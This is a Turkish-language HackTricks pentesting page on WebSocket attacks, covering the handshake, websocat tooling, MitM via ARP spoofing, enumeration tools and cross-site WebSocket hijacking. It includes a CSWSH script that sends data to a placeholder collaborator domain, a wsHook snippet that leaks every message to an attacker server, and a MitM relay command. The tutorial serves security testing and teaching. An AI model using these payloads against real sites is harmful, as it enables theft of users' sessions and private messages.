hacktricks/pentesting-web/websocket-attacks.md
2024-02-10 18:14:16 +00:00

12 KiB
Raw Blame History

WebSocket Saldırıları

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!

HackTricks'i desteklemenin diğer yolları:

WebSockets Nedir

WebSocket bağlantıları, başlangıçta HTTP el sıkışması aracılığıyla kurulur ve işlem sistemine ihtiyaç duymadan herhangi bir zamanda çift yönlü mesajlaşma sağlamak için uzun süreli olarak tasarlanmıştır. Bu, canlı finansal veri akışları gibi düşük gecikme süresi veya sunucu başlatmalı iletişim gerektiren uygulamalar için WebSockets'in özellikle avantajlı olmasını sağlar.

WebSocket Bağlantılarının Kurulması

WebSocket bağlantılarının ayrıntılı bir açıklamasına buradan erişilebilir. Özet olarak, WebSocket bağlantıları genellikle aşağıdaki gibi istemci tarafı JavaScript kullanılarak başlatılır:

var ws = new WebSocket("wss://normal-website.com/ws");

wss protokolü, TLS ile güvence altına alınmış bir WebSocket bağlantısını ifade ederken, ws güvencesiz bir bağlantıyı gösterir.

Bağlantı kurulması sırasında tarayıcı ve sunucu arasında HTTP üzerinden bir el sıkışma gerçekleştirilir. El sıkışma süreci, tarayıcının bir istek göndermesi ve sunucunun yanıt vermesini içerir. Aşağıdaki örneklerde gösterildiği gibi:

Tarayıcı bir el sıkışma isteği gönderir:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Sunucunun el sıkışma yanıtı:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Bağlantı bir kez kurulduğunda, mesaj alışverişi için bağlantı her iki yönde de açık kalır.

WebSocket El Sıkışmasının Ana Noktaları:

  • Connection ve Upgrade başlıkları, WebSocket el sıkışmasının başlatıldığını belirtir.
  • Sec-WebSocket-Version başlığı istenen WebSocket protokol sürümünü belirtir, genellikle 13'tür.
  • Base64 ile kodlanmış rastgele bir değer, Sec-WebSocket-Key başlığında gönderilir ve her el sıkışmanın benzersiz olmasını sağlar, bu da önbellekleyen proxy'lerle ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değil, yanlış yapılandırılmış bir sunucu veya önbellek tarafından oluşturulan yanıtın doğruluğunu onaylamak içindir.
  • Sunucunun yanıtındaki Sec-WebSocket-Accept başlığı, Sec-WebSocket-Key'in bir karmasıdır ve sunucunun bir WebSocket bağlantısı açma niyetini doğrular.

Bu özellikler, el sıkışma sürecinin güvenli ve güvenilir olmasını sağlar, böylece etkili gerçek zamanlı iletişim sağlanır.

Linux konsolu

websocat kullanarak bir websocket ile doğrudan bir bağlantı kurabilirsiniz.

websocat --insecure wss://10.10.10.10:8000 -v

Veya bir websocat sunucusu oluşturmak için:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket bağlantıları

Eğer mevcut yerel ağınızdan istemcilerin bir HTTP websocket'e bağlı olduğunu tespit ederseniz, istemci ve sunucu arasında bir MitM saldırısı gerçekleştirmek için bir ARP Spoofing Saldırısı deneyebilirsiniz.
İstemci bağlantı kurmaya çalıştığında, aşağıdaki komutu kullanabilirsiniz:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websocket numaralandırma

Websocket'leri otomatik olarak keşfetmek, parmak izi almak ve bilinen zayıflıkları aramak için https://github.com/PalindromeLabs/STEWS araçını kullanabilirsiniz.

Websocket Hata Ayıklama Araçları

  • Burp Suite, düzenli HTTP iletişimi için yaptığı gibi MitM websocket iletişimini destekler.
  • socketsleuth Burp Suite eklentisi, Burp'ta Websocket iletişimini daha iyi yönetmenizi sağlar. Geçmişi almak, interception kuralları belirlemek, eşleştirme ve değiştirme kuralları kullanmak, Intruder ve AutoRepeater kullanmak için kullanılabilir.
  • WSSiP: "WebSocket/Socket.io Proxy" kısaltması olan bu Node.js yazılımı, istemci ve sunucu arasındaki tüm WebSocket ve Socket.IO iletişimini yakalamak, intercept etmek, özel mesajlar göndermek ve görüntülemek için bir kullanıcı arayüzü sağlar.
  • wsrepl, özellikle penetrasyon testi için tasarlanmış etkileşimli bir websocket REPL'dir. Gelen websocket mesajlarını gözlemlemek ve yeni mesajlar göndermek için bir arayüz sağlar ve bu iletişimi otomatikleştirmek için kolay kullanımlı bir çerçeve sunar.
  • https://websocketking.com/, websockets kullanarak diğer web siteleriyle iletişim kurmak için bir web sağlar.
  • https://hoppscotch.io/realtime/websocket, diğer iletişim/protokol türlerinin yanı sıra websockets kullanarak diğer web siteleriyle iletişim kurmanızı sağlar.

Websocket Laboratuvarı

Burp-Suite-Extender-Montoya-Course içinde, websockets kullanarak bir web sitesi başlatmak için bir kod bulunur ve bu yazıdaıklama bulabilirsiniz.

Cross-site WebSocket kaçırma (CSWSH)

Cross-site WebSocket kaçırma, WebSocket el sıkışmalarını etkileyen Cross-Site Request Forgery (CSRF)'nin belirli bir durumu olarak tanımlanır. Bu zayıflık, WebSocket el sıkışmalarının yalnızca HTTP çerezleri aracılığıyla kimlik doğrulaması yapması durumunda ortaya çıkar ve CSRF tokenları veya benzeri güvenlik önlemleri kullanılmaz.

Saldırganlar, zayıf bir uygulamaya karşı bir çapraz site WebSocket bağlantısı başlatan kötü niyetli bir web sayfası barındırarak bunu sömürebilir. Sonuç olarak, bu bağlantı, oturum işleme mekanizmasındaki CSRF korumasının eksikliğini sömürerek, bağlantının kurbanın oturumuyla birlikte işlenmesi olarak kabul edilir.

Basit Saldırı

Unutmayın ki websocket bağlantısı kurulduğunda, çerez sunucuya gönderilir. Sunucu, gönderilen çerezlere dayanarak her belirli kullanıcıyı websocket oturumuyla ilişkilendirebilir.

Örneğin, eğer websocket sunucusu, "READY" iletilmesi durumunda bir kullanıcının konuşma geçmişini geri gönderiyorsa, basit bir XSS bağlantı kurarak (çerez, kurban kullanıcıyı yetkilendirmek için otomatik olarak gönderilecektir) "READY" göndermek, konuşma geçmişini alabilir.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Bu blog yazısında https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, saldırgan web soket iletişiminin gerçekleştiği alan adının alt alan adında keyfi JavaScript kodu çalıştırmayı başardı. Alt alan adı olduğu için çerez gönderiliyordu ve Websocket Origin'i doğru şekilde kontrol etmediği için onunla iletişim kurarak onun içinden token çalmak mümkün oldu.

Kullanıcıdan veri çalmak

Taklit etmek istediğiniz web uygulamasını (örneğin .html dosyalarını) kopyalayın ve web soket iletişiminin gerçekleştiği betik içine aşağıdaki kodu ekleyin:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Şimdi wsHook.js dosyasını https://github.com/skepticfx/wshook adresinden indirin ve web dosyalarının bulunduğu klasöre kaydedin.
Web uygulamasınıığa çıkararak ve bir kullanıcının buna bağlanmasını sağlayarak, websocket üzerinden gönderilen ve alınan mesajları çalabilirsiniz:

sudo python3 -m http.server 80

Yarış Koşulları

WebSockets'te Yarış Koşulları da önemlidir, daha fazla bilgi için bu bilgilere bakın.

Diğer zayıflıklar

WebSockets, verileri sunucu tarafına ve istemci tarafına göndermek için bir mekanizma olduğundan, sunucu ve istemcinin bilgileri nasıl işlediğine bağlı olarak, WebSockets, bir kullanıcının bir web soketinden giriş kullanarak XSS, SQLi veya diğer yaygın web zafiyetlerini sömürmek için kullanılabilir.

WebSocket Smuggling

Bu zayıflık, ters proxy kısıtlamalarını atlamak için bir web soketi iletişimi kurulmuş gibi yaparak onlara inandırmanıza izin verebilir (gerçek olmasa bile). Bu, bir saldırganın gizli uç noktalara erişmesine olanak tanır. Daha fazla bilgi için aşağıdaki sayfaya bakın:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

Referanslar

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları: